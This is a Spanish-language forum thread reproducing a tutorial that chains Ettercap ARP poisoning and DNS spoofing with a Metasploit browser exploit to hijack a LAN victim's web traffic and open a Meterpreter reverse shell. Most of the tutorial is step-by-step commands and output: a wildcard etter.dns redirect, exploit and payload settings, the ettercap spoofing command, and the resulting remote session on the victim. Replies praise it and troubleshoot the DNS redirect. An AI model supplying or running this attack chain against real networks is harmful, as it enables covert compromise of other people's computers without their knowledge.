[Ettercap+Metasploit] Suplantación de identidad por nombre de dominio [Spoofing]

(1/5) > >>

Shell Root:
[Ettercap + Metasploit] Suplantación de identidad por nombre de dominio [Spoofing]
[Metasploit By: Shell Root]



Miremos que tal hacen un Duo Ettercap y Metasploit (Un Duo Letal... xD). Miremos como hacer una suplantación de nombre de dominio, para la ejecución inconciente de una URL infectada con un exploit del Metasploit, devolviendo una session del Meterpreter.

Primero instalemos el Ettercap: Esta herramienta esta dentro de los repositorios
Código:

shell@ShellRoot:~$ sudo apt-get install ettercap

Ahora entremos entraremos a la siguiente ruta /usr/share/ettercap/, donde se encuentra el archivo etter.dns. (En este archivo, incluiremos unas lineas). Lo abrimos así:
Código:

shell@ShellRoot:~$ sudo gedit /usr/share/ettercap/etter.dns
[sudo] password for shell: *******

Buscamos la siguiente linea:
Código:

################################
# microsoft sucks ;)
# redirect it to www.linux.org
#

Y le agregamos:
Código:

* A 192.168.0.3:8080
Nota: El * para que cuando entre a cualquier URL se redireccione a la URL Infectada. Podemos poner el Host que deseemos si no quieren poner el *. : P

Ahora entramos el Metasploit y seleccionamos el exploit windows/browser/ani_loadimage_chunksize o windows/browser/ms09_002_memory_corruption

Código:

shell@ShellRoot:~/msf3$ ./msfconsole

                                  _            
                                 | |      o    
 _  _  _    _ _|_  __,   ,    _  | |  __    _|_
/ |/ |/ |  |/  |  /  |  / \_|/ \_|/  /  \_|  |  
  |  |  |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
                           /|                  
                           \|                  


       =[ metasploit v3.3.3-release [core:3.3 api:1.0]
+ -- --=[ 481 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops

msf > use windows/browser/ani_loadimage_chunksize
msf exploit(ani_loadimage_chunksize) >

Modificamos el parametro URIPATH para que no nos saque un Ramdom sino un Slash
Código:

msf exploit(ani_loadimage_chunksize) > set URIPATH /
URIPATH => /

Ahora seleccionamos el PAYLOAD, en este caso windows/meterpreter/reverse_tcp
Código:

msf exploit(ani_loadimage_chunksize) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp


Ingresamos el parametro LHOST
Código:

msf exploit(ani_loadimage_chunksize) > set LHOST 192.168.0.3
LHOST => 192.168.0.3

Miramos que todo esque bien y ejecutamos el exploit
Código:

msf exploit(ani_loadimage_chunksize) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on.
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process
   LHOST     192.168.0.3      yes       The local address
   LPORT     4444             yes       The local port


Exploit target:

   Id  Name
   --  ----
   0   (Automatic) IE6, IE7 and Firefox on Windows NT, 2000, XP, 2003 and Vista


msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler on port 4444
[*] Using URL: http://0.0.0.0:8080/
[*]  Local IP: http://192.168.0.3:8080/
[*] Server started.


Ahora entramos a la shell e iniciamos el sniffer del ettercap
Código:

shell@ShellRoot:~$ sudo ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.0.5/ //

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 -> 00:0C:29:AE:81:42       192.168.0.5     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...

etter.dns:41 Invalid ip address
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

3 hosts added to the hosts list...

ARP poisoning victims:


 GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Activating dns_spoof plugin...

Nota: Dejamos esta ventana quieta y esperemos a que la Victima inicie cualquier pagina web.

Waiting... Despues de esperar unos 3 Min... : P, miramos que hemos conseguido una session del Meterpreter... :O
Código:

msf exploit(ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to 192.168.0.5:1130...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Overflow (HTTP) to 192.168.0.5:1130...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.5:1131)


Ahora solo bastara con mirar las Sesiones con el comando sessions -l y para selecciona una sesion con el comando sessions -i Numero_Session. Asi:
Código:

msf exploit(ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0



Adaptador Ethernet PCI AMD PCNET Family - Minipuerto del administrador de paquetes
Hardware MAC: 00:0c:29:8f:90:c4
IP Address  : 192.168.0.5
Netmask     : 255.255.255.0


meterpreter >

Con esto damos por concluido el tutorial y ver el poder que tienen estas dos herramientas, si se usan conjuntamente. Esto es lo basico, esperen el resto... ;·)

By: Shell Root
Fuente: http://shellrootsecurity.blogspot.com/2010/01/ettercap-metasploit-suplantacion-de.html
Video: Nothing...

Debci:
Como siempre, besial, ya estoy testeandolo xD

Saludos

chatarrero:
Muy bueno, habrá que leeerlo todo con calma.

Saludos

mrfloffy:
El dns spoofing no me funciona creo que es culpa de
Código:

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 -> 00:0C:29:AE:81:42       192.168.0.5     255.255.255.0

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Privileges dropped to UID 65534 GID 65534...
[size=10pt][b]
etter.dns:41 Invalid ip address[/b][/size]
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
* |==================================================>| 100.00 %

3 hosts added to the hosts list...

ARP poisoning victims:
La redireción solo me funciona si no especifico un puerto: quiero decir si pongo 192.168.0.X funciona pero con 192.168.0.X:XXX ya no va

Alguien Sabe porque?

GRACIAS

[L]ord [R]NA:
Buen material... iba a postear algo parecido pero te me adelantaste y lo completaste con el metasploit. Buen Trabajo, ahora mismo lo leo.

Navegación

[0] Índice de Mensajes

[#] Página Siguiente